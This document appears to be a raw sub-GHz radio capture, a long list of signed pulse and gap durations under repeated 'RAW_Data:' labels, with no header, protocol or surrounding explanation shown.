-130 355 -94 369 -128 91 -368 131 -334 123 -3716 133 -358 105 -370 93 -394 329 -134 329 -124 359 -106 359 -108 369 -94 141 -342 355 -140 341 -100 363 -92 139 -342 127 -362 123 -360 327 -122 141 -344 137 -332 351 -142 335 -126 347 -94 369 -128 91 -368 131 -334 121 -3742 101 -356 141 -336 127 -352 351 -104 367 -94 375 -92 369 -128 337 -130 123 -336 369 -108 337 -130 357 -92 121 -376 137 -334 125 -356 349 -140 107 -362 105 -338 377 -108 337 -130 355 -92 369 -128 121 -338 131 -336 123 -3746 101 -356 143 -334 125 -350 351 -104 367 -94 373 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 139 -334 125 -354 351 -140 107 -362 105 -370 345 -106 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3748 101 -356 141 -336 125 -350 351 -102 369 -92 375 -94 369 -128 339 -128 93 -366 369 -106 339 -130 355 -94 119 -376 139 -334 125 -354 351 -104 141 -364 105 -368 347 -106 339 -130 355 -92 -RAW_Data: 369 -128 121 -338 131 -334 123 -3740 95 -372 125 -346 141 -336 349 -106 373 -100 359 -92 369 -128 337 -128 125 -336 371 -106 371 -100 357 -92 121 -376 137 -336 125 -354 351 -138 107 -362 105 -370 345 -108 339 -130 355 -94 369 -128 91 -368 131 -332 123 -3738 97 -372 125 -346 139 -338 351 -106 375 -100 359 -92 369 -128 339 -128 123 -336 369 -108 339 -130 357 -92 121 -374 139 -334 125 -354 351 -104 143 -362 105 -338 377 -108 339 -130 355 -92 369 -128 91 -368 131 -332 123 -3738 97 -370 127 -344 123 -354 355 -106 355 -140 333 -92 391 -104 359 -108 141 -364 319 -106 395 -106 333 -124 143 -340 97 -362 123 -360 327 -124 121 -356 139 -336 371 -108 339 -130 353 -94 367 -128 93 -366 131 -336 121 -3742 101 -356 141 -336 125 -354 351 -102 369 -94 375 -94 369 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -336 379 -106 339 -130 355 -94 367 -128 123 -336 131 -336 121 -3740 101 -392 105 -336 127 -354 351 -104 369 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 355 -94 119 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3714 135 -356 143 -334 125 -350 349 -104 369 -92 375 -94 367 -128 339 -128 93 -366 369 -108 337 -130 357 -92 121 -376 137 -336 125 -352 351 -104 143 -362 105 -338 377 -108 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 367 -128 339 -128 123 -336 371 -106 373 -98 355 -94 121 -374 139 -334 125 -354 349 -140 107 -364 105 -336 379 -106 339 -130 357 -92 369 -128 91 -368 131 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -108 371 -98 359 -92 121 -374 139 -332 127 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3746 99 -356 143 -334 127 -352 349 -104 369 -92 375 -94 369 -128 337 -128 95 -366 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 351 -138 107 -364 105 -336 379 -106 339 -130 357 -92 369 -128 91 -368 131 -334 121 -3742 95 -372 125 -346 141 -336 349 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -106 373 -98 357 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 357 -92 369 -128 91 -368 131 -332 123 -3742 99 -392 105 -336 -RAW_Data: 127 -354 349 -104 371 -92 377 -94 369 -96 369 -128 95 -366 367 -108 339 -130 355 -94 119 -376 137 -336 125 -352 351 -140 107 -362 105 -370 345 -106 339 -132 355 -92 369 -128 91 -368 131 -334 123 -3740 99 -392 105 -336 127 -356 349 -104 369 -94 377 -92 369 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3744 101 -356 141 -336 125 -352 351 -104 367 -94 375 -94 367 -128 339 -128 123 -336 369 -108 339 -130 357 -122 91 -376 137 -334 125 -356 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3718 135 -356 107 -368 93 -392 331 -132 331 -122 361 -104 359 -108 371 -94 139 -344 355 -142 339 -102 361 -92 139 -342 129 -360 123 -360 327 -122 141 -344 137 -334 351 -140 335 -128 349 -92 369 -128 93 -366 131 -334 121 -3744 101 -356 143 -334 125 -352 351 -104 369 -92 375 -94 369 -128 339 -128 93 -366 369 -106 339 -130 355 -94 121 -374 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -124 339 -128 91 -368 131 -364 93 -3716 133 -356 143 -334 125 -350 349 -104 369 -92 375 -96 369 -96 369 -128 95 -366 367 -108 337 -130 355 -94 121 -374 139 -334 125 -354 349 -140 107 -364 105 -338 377 -106 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3742 99 -392 105 -336 127 -356 349 -104 369 -92 377 -94 367 -130 337 -128 123 -336 369 -108 371 -98 357 -92 121 -376 137 -334 125 -354 351 -104 143 -364 105 -338 375 -108 339 -130 355 -92 369 -128 91 -368 131 -334 123 -3738 97 -370 127 -344 123 -354 357 -106 353 -142 331 -94 389 -106 359 -106 143 -362 321 -106 391 -108 335 -122 145 -338 97 -362 125 -358 327 -122 123 -358 139 -336 371 -108 339 -130 353 -92 369 -128 91 -368 131 -336 121 -3746 99 -356 143 -334 127 -352 351 -104 367 -94 373 -94 369 -128 337 -130 93 -366 369 -108 339 -130 357 -92 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3746 99 -356 143 -334 125 -352 351 -104 367 -94 373 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3742 99 -392 107 -334 127 -354 349 -140 335 -92 377 -96 369 -128 339 -128 -RAW_Data: 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 91 -3742 101 -356 141 -336 125 -354 349 -104 369 -94 375 -94 369 -128 337 -130 123 -336 369 -106 341 -130 357 -92 121 -374 139 -334 125 -352 353 -104 141 -364 105 -338 377 -108 337 -130 355 -94 367 -128 93 -366 133 -334 123 -3716 135 -356 141 -336 91 -394 331 -132 331 -124 359 -106 359 -108 369 -94 141 -342 355 -142 339 -102 361 -92 139 -342 129 -360 125 -358 329 -122 143 -344 135 -334 351 -140 335 -126 347 -94 369 -128 91 -368 131 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -106 373 -98 357 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 121 -3738 97 -372 125 -346 123 -354 355 -106 355 -142 331 -92 391 -104 359 -108 143 -362 321 -106 393 -106 333 -124 145 -338 97 -362 125 -360 327 -122 121 -358 141 -336 371 -106 339 -130 353 -94 367 -128 93 -366 133 -334 123 -3736 97 -372 125 -346 123 -352 357 -106 353 -142 333 -92 391 -104 359 -108 141 -364 319 -106 395 -106 333 -124 109 -374 97 -362 123 -360 327 -122 121 -358 141 -336 371 -106 339 -130 355 -92 369 -128 91 -368 131 -334 123 -3744 101 -356 143 -334 125 -354 349 -104 369 -94 375 -94 369 -128 337 -128 95 -366 367 -108 339 -130 355 -92 121 -376 137 -336 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3748 101 -356 141 -336 125 -364 329 -134 329 -124 369 -94 371 -96 369 -96 125 -368 365 -106 339 -128 353 -92 121 -376 137 -334 125 -354 351 -104 141 -364 103 -370 345 -108 339 -130 355 -94 369 -128 91 -366 133 -334 123 -3746 101 -356 143 -334 125 -352 349 -104 369 -94 375 -94 367 -130 337 -128 93 -368 367 -108 337 -130 357 -92 121 -376 137 -336 125 -354 349 -140 107 -364 103 -370 345 -108 339 -130 355 -94 367 -128 93 -366 133 -334 123 -3718 135 -356 141 -334 93 -394 329 -134 329 -124 359 -106 359 -108 371 -94 139 -342 357 -106 375 -100 361 -92 139 -342 129 -362 123 -360 327 -122 141 -344 137 -332 351 -140 337 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 99 -394 105 -334 127 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 367 -106 337 -130 355 -94 121 -376 137 -334 -RAW_Data: 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -94 367 -130 91 -368 131 -364 93 -3746 101 -356 143 -334 125 -352 349 -104 369 -94 375 -94 371 -128 337 -128 93 -368 367 -108 337 -130 355 -94 121 -374 139 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 357 -94 369 -128 91 -368 131 -364 93 -3718 133 -356 143 -334 125 -348 351 -104 369 -92 377 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -92 369 -128 91 -368 131 -366 91 -3742 101 -356 141 -336 127 -352 351 -140 333 -94 377 -94 369 -130 337 -128 95 -366 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3718 135 -356 143 -334 125 -362 331 -134 331 -122 361 -104 359 -106 371 -94 139 -342 389 -106 341 -100 361 -124 109 -374 97 -362 123 -360 327 -124 141 -342 137 -334 351 -142 335 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 101 -356 141 -336 127 -352 349 -104 371 -92 375 -94 369 -128 339 -128 93 -366 369 -106 341 -130 355 -94 121 -374 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 357 -92 369 -128 91 -366 133 -334 123 -3746 101 -356 141 -336 125 -352 349 -104 371 -94 375 -94 369 -96 371 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -336 123 -354 351 -138 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3746 99 -356 143 -334 127 -352 351 -104 369 -94 375 -94 367 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -356 349 -140 105 -364 105 -368 347 -106 339 -130 357 -92 369 -128 121 -338 131 -334 123 -3744 97 -370 95 -378 123 -350 357 -106 351 -142 331 -124 359 -104 359 -108 143 -362 321 -140 359 -106 335 -122 109 -374 97 -362 125 -360 325 -122 123 -360 139 -336 371 -106 339 -130 353 -94 369 -128 91 -366 133 -334 123 -3746 101 -356 141 -336 125 -352 351 -104 369 -92 375 -94 369 -128 337 -128 95 -366 369 -108 339 -128 355 -94 121 -374 139 -334 125 -354 351 -140 107 -362 105 -370 345 -106 339 -132 355 -92 369 -128 121 -338 131 -336 121 -3742 99 -392 105 -336 127 -356 349 -104 369 -94 375 -94 369 -130 337 -128 93 -368 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 349 -140 107 -364 103 -370 345 -108 339 -130 -RAW_Data: 357 -92 369 -128 121 -338 131 -334 123 -3748 101 -356 141 -336 125 -350 351 -104 369 -92 375 -94 369 -128 337 -128 123 -338 369 -108 337 -130 357 -126 89 -376 101 -370 125 -356 351 -138 107 -362 103 -370 343 -106 339 -132 357 -124 339 -128 91 -370 131 -364 93 -3748 99 -356 107 -368 125 -354 349 -104 367 -94 377 -94 369 -130 337 -128 95 -366 367 -108 337 -130 355 -94 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 337 -128 93 -368 131 -364 93 -3744 99 -392 105 -334 127 -354 351 -138 335 -126 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -126 89 -376 101 -368 127 -354 353 -138 105 -364 103 -368 345 -140 303 -130 359 -126 337 -128 91 -370 131 -364 93 -3718 135 -356 107 -368 93 -394 329 -134 329 -124 361 -104 359 -142 335 -94 137 -376 357 -104 343 -102 361 -124 107 -376 97 -362 123 -360 327 -122 143 -342 137 -334 353 -138 335 -128 349 -94 369 -128 91 -368 131 -334 123 -3740 101 -392 105 -334 127 -354 349 -140 335 -124 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 101 -368 127 -354 351 -140 105 -362 105 -368 343 -142 303 -132 357 -126 337 -128 93 -368 131 -366 91 -3742 97 -372 93 -380 93 -382 353 -106 349 -140 333 -122 361 -104 357 -108 143 -362 317 -142 359 -108 335 -124 143 -342 97 -362 123 -360 327 -124 123 -358 139 -336 371 -106 337 -130 355 -124 361 -104 103 -384 103 -362 103 -3736 99 -392 103 -354 107 -368 327 -142 337 -128 321 -156 337 -130 337 -130 93 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3720 135 -354 107 -368 93 -394 329 -134 329 -124 361 -104 359 -142 335 -94 137 -378 355 -104 343 -102 361 -124 91 -376 137 -334 127 -356 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 359 -104 103 -384 105 -360 103 -3740 99 -358 137 -354 105 -338 357 -140 337 -128 321 -156 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -378 101 -368 127 -354 353 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 101 -392 105 -334 125 -354 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 337 -130 355 -124 91 -374 139 -334 125 -354 351 -140 107 -362 105 -368 345 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3752 99 -356 -RAW_Data: 107 -370 125 -352 349 -140 303 -124 345 -126 369 -130 337 -130 93 -370 363 -108 337 -128 355 -126 89 -376 101 -370 125 -356 351 -138 105 -362 105 -370 343 -142 301 -132 359 -124 337 -130 91 -368 133 -364 91 -3746 99 -392 105 -334 127 -354 351 -138 333 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3744 101 -392 103 -336 125 -356 349 -140 335 -126 313 -126 371 -128 339 -128 93 -370 365 -106 337 -130 355 -126 89 -376 101 -370 125 -354 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3744 99 -392 105 -336 127 -354 351 -138 333 -94 377 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3742 99 -392 105 -336 127 -356 349 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 99 -394 105 -334 125 -354 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -126 89 -374 139 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3750 101 -356 105 -370 125 -352 349 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 91 -376 101 -368 127 -354 351 -138 107 -362 103 -370 343 -106 339 -130 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -336 125 -354 351 -140 333 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 93 -368 131 -364 93 -3746 101 -356 141 -334 125 -354 349 -140 303 -156 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -124 91 -376 101 -368 127 -354 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3750 99 -392 71 -783352 171 -342 105 -336 123 -384 325 -126 351 -124 337 -128 339 -128 337 -128 125 -348 353 -140 333 -94 377 -96 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 357 -92 369 -128 91 -368 131 -334 123 -3742 101 -356 143 -334 93 -382 349 -104 369 -92 -RAW_Data: 343 -126 371 -128 337 -130 93 -368 365 -106 337 -130 355 -126 89 -376 101 -368 125 -356 351 -138 105 -362 103 -370 343 -106 337 -132 357 -126 337 -128 91 -370 131 -364 93 -3742 99 -356 107 -368 93 -384 351 -104 335 -124 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3738 97 -372 93 -368 139 -336 367 -108 339 -130 323 -156 337 -130 337 -130 93 -368 365 -108 337 -130 355 -126 89 -376 101 -368 127 -354 349 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -130 91 -368 131 -364 93 -3738 97 -372 93 -368 139 -336 367 -108 339 -128 355 -126 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 101 -368 125 -356 349 -140 105 -362 105 -368 343 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -356 143 -334 125 -352 349 -140 303 -156 315 -126 337 -160 307 -160 95 -370 329 -140 337 -128 323 -156 91 -374 101 -368 125 -356 353 -138 105 -362 103 -370 343 -140 303 -130 359 -124 337 -128 93 -368 131 -366 91 -3744 101 -356 105 -370 125 -352 351 -102 369 -92 377 -96 369 -128 337 -128 95 -366 367 -106 339 -130 355 -124 91 -374 101 -370 125 -354 351 -140 105 -362 105 -368 343 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3748 101 -354 107 -370 93 -382 349 -140 301 -156 313 -128 337 -160 307 -160 95 -370 329 -140 335 -130 323 -156 91 -376 101 -368 93 -388 351 -138 105 -362 103 -370 343 -140 303 -132 327 -156 339 -128 91 -370 97 -398 93 -3720 101 -384 105 -368 93 -394 329 -132 331 -124 337 -126 369 -98 369 -96 127 -370 329 -140 337 -128 351 -94 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3716 135 -354 107 -368 125 -362 331 -132 331 -124 359 -104 359 -144 333 -94 139 -342 353 -142 341 -102 361 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3740 101 -356 141 -336 125 -354 349 -140 301 -126 345 -126 369 -130 337 -128 95 -368 365 -106 337 -130 353 -126 89 -376 101 -368 127 -354 353 -138 105 -364 103 -368 343 -106 339 -130 359 -126 337 -128 91 -370 131 -364 93 -3744 101 -356 105 -370 93 -384 351 -102 369 -92 377 -94 369 -128 337 -130 93 -368 365 -108 337 -130 -RAW_Data: 357 -92 121 -376 137 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3720 135 -354 107 -368 93 -380 351 -138 303 -124 345 -126 369 -130 337 -128 95 -368 365 -108 337 -128 355 -124 89 -376 101 -370 125 -354 351 -140 105 -362 103 -370 343 -106 337 -132 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -356 107 -370 93 -392 329 -134 329 -124 339 -126 339 -128 337 -128 127 -372 327 -140 335 -128 351 -126 89 -376 101 -368 127 -354 351 -140 105 -362 105 -368 343 -106 339 -130 359 -124 337 -130 91 -368 131 -364 93 -3738 97 -370 95 -378 125 -350 355 -104 351 -140 333 -124 359 -106 357 -108 141 -362 317 -140 359 -106 337 -124 143 -342 97 -366 123 -360 327 -122 123 -358 139 -334 371 -106 339 -128 357 -124 359 -106 103 -384 103 -360 105 -3736 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 339 -126 125 -354 349 -132 333 -124 341 -128 121 -372 101 -368 93 -384 351 -138 105 -362 105 -368 343 -140 303 -132 357 -126 337 -130 91 -370 131 -364 91 -3750 101 -354 105 -368 93 -396 329 -134 331 -124 337 -128 337 -128 339 -128 127 -370 327 -140 337 -128 351 -126 89 -374 103 -368 125 -356 351 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -356 107 -370 93 -392 329 -134 329 -124 361 -104 359 -144 333 -94 139 -342 355 -140 341 -102 361 -124 107 -374 97 -362 125 -360 327 -122 143 -342 135 -334 353 -138 335 -128 349 -126 337 -128 91 -370 129 -364 93 -3742 95 -372 93 -366 139 -336 369 -106 339 -130 355 -124 339 -128 339 -128 93 -368 367 -106 337 -130 359 -124 89 -376 137 -334 125 -356 351 -138 105 -364 103 -370 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 93 -3742 101 -356 141 -334 125 -354 351 -138 303 -156 315 -158 339 -128 339 -128 95 -368 331 -140 337 -130 323 -156 91 -374 103 -368 93 -388 353 -138 103 -362 105 -368 343 -142 303 -130 359 -126 337 -128 91 -370 131 -364 93 -3746 101 -356 105 -370 93 -384 351 -138 303 -156 313 -158 339 -128 339 -128 95 -370 329 -140 337 -128 355 -126 89 -376 101 -368 127 -356 349 -140 105 -362 103 -370 343 -142 303 -130 359 -124 339 -128 91 -370 131 -364 93 -3722 135 -352 105 -368 93 -394 329 -134 329 -124 359 -106 357 -144 333 -94 125 -364 353 -140 355 -106 335 -124 107 -376 99 -362 123 -360 327 -122 123 -360 -RAW_Data: 139 -336 369 -108 337 -130 355 -124 361 -104 103 -384 103 -362 103 -3710 131 -358 103 -384 105 -336 357 -142 337 -126 351 -94 391 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -376 97 -362 123 -360 327 -124 121 -358 139 -334 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3748 101 -354 143 -332 127 -350 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 101 -370 125 -354 353 -138 105 -362 103 -370 345 -106 337 -132 357 -126 337 -128 91 -370 131 -366 91 -3746 101 -356 105 -370 125 -350 351 -140 333 -92 377 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 355 -124 339 -128 91 -368 131 -364 93 -3748 101 -356 105 -370 125 -364 331 -134 329 -124 337 -128 369 -96 371 -96 125 -370 363 -106 337 -128 353 -124 91 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3748 101 -356 107 -368 125 -352 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 365 -106 337 -130 355 -124 91 -374 103 -368 127 -354 353 -138 105 -362 103 -370 345 -106 337 -132 357 -126 337 -128 93 -368 131 -366 91 -3746 97 -370 93 -366 139 -336 369 -106 339 -128 355 -124 337 -130 337 -128 93 -368 369 -106 339 -130 357 -124 91 -374 139 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -366 131 -366 91 -3750 99 -356 107 -368 125 -352 351 -140 303 -156 313 -126 369 -130 337 -130 93 -370 363 -108 337 -128 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3750 99 -358 105 -370 93 -384 351 -102 337 -124 375 -94 371 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -138 107 -362 103 -370 343 -106 371 -98 359 -124 339 -128 91 -368 133 -364 91 -3750 99 -356 143 -334 125 -364 331 -134 329 -124 337 -128 337 -128 339 -128 125 -372 327 -140 337 -128 353 -124 89 -376 137 -334 125 -354 353 -138 105 -362 105 -370 343 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -354 351 -138 303 -158 313 -128 369 -128 339 -128 95 -368 331 -140 337 -130 323 -156 91 -374 103 -368 93 -388 351 -140 105 -362 103 -370 343 -142 301 -132 359 -124 339 -128 91 -370 -RAW_Data: 131 -364 93 -3742 97 -372 93 -368 139 -334 369 -108 339 -130 355 -124 337 -130 337 -130 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -368 343 -106 339 -132 359 -124 337 -128 93 -368 131 -364 93 -3742 97 -370 95 -378 93 -382 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 317 -140 359 -106 335 -126 143 -342 97 -364 125 -358 327 -122 123 -362 139 -334 371 -106 337 -130 357 -124 359 -104 103 -384 103 -362 103 -3714 131 -358 103 -384 107 -336 355 -140 337 -128 331 -140 361 -104 345 -138 103 -392 319 -140 313 -140 335 -124 107 -378 97 -364 123 -356 329 -122 139 -376 103 -366 325 -138 335 -128 319 -158 359 -104 103 -380 103 -394 69 -3748 97 -360 101 -386 105 -368 325 -142 335 -126 351 -126 337 -128 339 -128 95 -366 369 -106 339 -132 355 -124 91 -376 137 -334 125 -354 351 -140 105 -362 103 -370 345 -106 337 -132 359 -124 337 -130 91 -368 131 -366 91 -3744 101 -356 141 -336 125 -354 349 -140 303 -156 315 -126 369 -130 337 -130 93 -370 365 -106 337 -130 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 103 -370 345 -140 303 -130 359 -126 337 -128 93 -368 131 -366 93 -3744 101 -356 141 -334 125 -354 351 -138 333 -92 379 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3742 99 -392 105 -336 127 -354 351 -138 335 -126 315 -156 339 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -368 127 -356 351 -138 107 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3750 99 -356 107 -368 93 -384 351 -104 369 -92 375 -96 369 -128 337 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -358 349 -140 105 -364 103 -370 343 -108 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -334 127 -354 351 -140 303 -156 315 -158 337 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 105 -368 345 -142 303 -130 359 -124 337 -130 91 -368 131 -366 93 -3750 99 -356 107 -368 93 -396 331 -132 331 -122 361 -104 359 -144 333 -94 125 -362 353 -142 355 -106 335 -124 107 -378 97 -362 125 -372 317 -134 139 -362 105 -336 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3752 101 -354 107 -368 125 -364 331 -132 -RAW_Data: 331 -124 337 -128 337 -130 337 -128 125 -372 327 -142 337 -128 351 -94 121 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 93 -3748 99 -394 105 -334 125 -354 351 -138 303 -156 315 -126 369 -128 339 -128 95 -368 367 -106 337 -128 355 -126 89 -376 101 -370 125 -354 353 -138 107 -362 103 -370 345 -140 303 -130 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -130 337 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3748 99 -392 105 -336 125 -354 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 353 -126 89 -376 101 -370 125 -356 353 -138 105 -362 103 -370 343 -140 303 -132 361 -124 337 -128 93 -368 131 -366 91 -3744 97 -370 95 -368 141 -334 369 -106 339 -128 355 -124 337 -130 337 -128 93 -368 369 -108 337 -132 357 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 91 -370 131 -364 91 -3740 97 -372 95 -378 139 -338 349 -142 307 -134 329 -156 359 -104 357 -108 105 -396 317 -140 357 -106 335 -124 109 -376 99 -362 125 -358 327 -122 139 -376 103 -366 325 -140 335 -128 319 -156 361 -104 101 -382 103 -394 69 -3748 97 -360 101 -384 105 -368 327 -140 337 -128 351 -94 391 -102 359 -108 105 -398 319 -140 357 -106 335 -122 109 -376 97 -362 125 -358 327 -122 123 -360 139 -336 371 -106 337 -130 355 -124 361 -104 103 -386 103 -362 103 -3738 99 -358 137 -352 107 -368 327 -140 339 -126 321 -156 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 103 -370 343 -142 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 105 -370 125 -352 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 91 -370 131 -364 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -140 333 -124 361 -104 357 -144 105 -362 315 -140 359 -108 335 -124 143 -340 99 -366 123 -390 293 -156 93 -400 105 -334 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3748 101 -356 105 -370 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 95 -366 367 -108 -RAW_Data: 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -368 131 -364 91 -3746 99 -392 105 -334 127 -356 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 